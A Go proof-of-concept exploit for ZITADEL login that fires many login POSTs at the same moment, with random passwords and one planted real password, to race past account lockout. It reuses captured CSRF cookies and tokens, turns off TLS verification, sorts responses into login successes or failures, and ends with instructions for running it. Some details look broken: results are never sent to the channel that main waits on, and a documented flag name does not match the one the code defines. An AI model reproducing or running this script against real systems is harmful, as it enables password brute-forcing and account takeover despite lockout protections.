package main

import (
  "crypto/tls"
  "flag"
  "fmt"
  "io"
  "math/rand"
  "net"
  "net/http"
  "net/url"
  "strconv"
  "strings"
  "syscall"
  "time"
)

func race(fqdn string, cookieLoginCSRF string, cookieUserAgent string, paramGorillaCSRFToken string, paramAuthRequestID string, paramLoginName string, password string, channel chan string) {
  
  // Create a proxy to use in the HTTP transport
  proxyURL, proxyError := url.Parse("http://127.0.0.1:8081")
  if proxyError != nil {
    // Return an error to indicate a proxy couldnt be created
    fmt.Println("Error parsing proxy URL:", proxyError)
    return
  }

  // Create a HTTP transport
  transport := &http.Transport {
    Proxy: http.ProxyURL(proxyURL),
    TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    ForceAttemptHTTP2: true,
    DialContext: (&net.Dialer {
      Timeout:   30 * time.Second,
      KeepAlive: 30 * time.Second,
      DualStack: true,
      Control: func(network, address string, c syscall.RawConn) error {
        var fn = func(s uintptr) {
        syscall.SetsockoptInt(int(s), syscall.IPPROTO_TCP, syscall.TCP_NODELAY, 1)
  }
        return c.Control(fn)
      },
    }).DialContext,
  }
  
  // Create a client with the custom transport, that does not follow redirects...
  client := &http.Client{
    Transport: transport,
    CheckRedirect: func(req *http.Request, via []*http.Request) error {
      // Return an error to prevent redirects
      return http.ErrUseLastResponse
    },
  }

  // Set request body paramaters
  data := url.Values{}
  data.Set("gorilla.csrf.Token", paramGorillaCSRFToken)
  data.Set("authRequestID", paramAuthRequestID)
  data.Set("loginName", paramLoginName)
  data.Set("password", fmt.Sprintf("%v", password))
  postBody := strings.NewReader(data.Encode())

  // Create a new request
  createPostRequest, createPostRequestError := http.NewRequest("POST", fqdn, postBody)
  if createPostRequestError != nil {
    // Return an error to indicate a request could not be created
    fmt.Println("Error creating request:", createPostRequestError)
    return
  }

  // Set request headers and cookies
  createPostRequest.Header.Set("Content-Type", "application/x-www-form-urlencoded")
  createPostRequest.AddCookie(&http.Cookie{Name: "zitadel.login.csrf", Value: cookieLoginCSRF})
  createPostRequest.AddCookie(&http.Cookie{Name: "zitadel.useragent", Value: cookieUserAgent})

  // Send HTTP request
  sendPostRequest, sendPostRequestError := client.Do(createPostRequest)
  if sendPostRequestError != nil {
    // Return an error to indicate a request could not be made
    fmt.Println("Error making request:", sendPostRequestError)
    return
  }
  defer sendPostRequest.Body.Close()

  // Read HTTP response
  readResponseBody, readResponseBodyError := io.ReadAll(sendPostRequest.Body)
  if readResponseBodyError != nil {
    // Return an error to indicate a the response body could not be read
    fmt.Println("Error reading response body:", readResponseBodyError)
    return
  }

  responseText := string(readResponseBody)

  // ======================================================================================================
  // (TRYING TO) ACCOUNT FOR ALL OBSERVED CASES
  // 	1. Fail cases:
  //     - Login failed - HTTP Response body contains ("Password is invalid")
  //     - CSRF token invalid - HTTP Response body contain ("CSRF token invalid (Internal)")
  //     - Login locked - HTTP Response body contains ("User is locked") and does not contain ("An internal error occurred")
  //
  // 2. Indeterminate success cases:
  //     - User locked (Internal) - HTTP Response body contains ("User is locked") and contains ("An internal error occurred") <- This could either be a success or a fail check the logs
  //     - SQLSTATE error - HTTP Response body contains ("SQLSTATE") <- This could either be a success or a fail check the logs, most of the time it appears to be a fail.
  //
  // 3. Success cases:
  //     - Login success - redirect
  //     - Login success - no redirect and HTTP Response body does not contain ("lgn-error-message")
  //
  // NOTES:
  //     - Due to the nature of racing, it appears that two cases can determine if auth has worked
  //     - The expected outcome is a 302 response.
  //     - The unexpected outcome a 200 response.
  // ======================================================================================================

  if strings.Contains(responseText, "Password is invalid") {
    // Login fail case
    fmt.Printf("[\033[31m!\033[0m] Login failed -- Password: %s\n", password)
  } else if strings.Contains(responseText, "CSRF token invalid (Internal)") {
    // CSRF token invalid
    fmt.Println("[\033[31m!\033[0m] Looks Like You Need To Update Your CSRF Token")
  } else if strings.Contains(responseText, "User is locked") && !strings.Contains(responseText, "An internal error occurred") {
    // Login locked - not an internal error
    fmt.Printf("[\033[33m-\033[0m] Login locked -- Password: %s\n", password)
  } else if strings.Contains(responseText, "User is locked") && strings.Contains(responseText, "An internal error occurred") {
    // Login locked - An internal error - Logs indicate that this can be a successful login  *SIGH*
    fmt.Printf("[\033[33m?\033[0m] Login locked - Internal error detected - check logs! -- Password: %s\n", password)
  } else if strings.Contains(responseText, "SQLSTATE") {
    // SQLSTATE - SQL ERROR - Logs indicate that this can be a successful login *SIGH*
    fmt.Printf("[\033[33m?\033[0m] SQLSTATE - SQL error detected - check logs! -- Password: %s\n", password)
  } else if !strings.Contains(responseText, "lgn-error-message") {
    // Login success - No redirect or lgn-error-message - Logs indicate that this can be a successful login *SIGH*
    fmt.Printf("[\033[32m✓\033[0m] Login Success - No redirect detected or lgn-error-message - Check Logs! -- Password: %s\n", password)
  } else if sendPostRequest.StatusCode == 302 {
    // Login success
    fmt.Printf("[\033[32m✓\033[0m] Login Success - Redirection Detected -- Password: %s\n", password)
  }
}

func main() {
  //Create an argument parser
  numberOfRequestsPtr := flag.Int("number_of_requests", 0, "number of tasks")
  urlPtr := flag.String("zitadel_url", "", "URL")
  cookieLoginCsrfPtr := flag.String("zitadel_cookie_login_csrf", "", "Cookie Login CSRF")
  cookieUserAgentPtr := flag.String("zitadel_cookie_useragent", "", "Cookie UserAgent")
  paramCsrfPtr := flag.String("zitadel_param_csrf", "", "Parameter CSRF")
  paramAuthRequestIDPtr := flag.String("zitadel_param_auth_request_id", "", "Parameter Auth Request ID")
  paramLoginNamePtr := flag.String("zitadel_param_login_name", "", "Parameter Login Name")
  flag.Parse()

  // Define additional variables
  channel := make(chan string)
  randomPoint := rand.Intn(*numberOfRequestsPtr)

  for i := 0; i < *numberOfRequestsPtr; i++ {
    randomPassword := "Aa" + strconv.Itoa(rand.Int()) + "!"
    if i == randomPoint {
      randomPassword = "Password2!"
    }
    go race(*urlPtr, *cookieLoginCsrfPtr, *cookieUserAgentPtr, *paramCsrfPtr, *paramAuthRequestIDPtr, *paramLoginNamePtr, randomPassword, channel)
  }

  // Collect the results or completion signals
  for i := 0; i < *numberOfRequestsPtr; i++ {
    fmt.Println(<-channel)
  }
}

  //////
  // TO RUN:
  // Please replace values within ' ' with values from the application:
  // ./race-to-auth-zitidel \
  //  --zitadel_url ' ' \
  //  --zitadel_cookie_login_csrf ' ' \
  //  --zitadel_cookie_useragent ' ' \
  //  --zitadel_param_csrf ' ' \
  //  --zitadel_param_auth_request_id ' ' \
  //  --zitadel_param_login_name ' ' \
  //  --numberOfRequests 20
  //
  // By: itz_d0dgy
  //////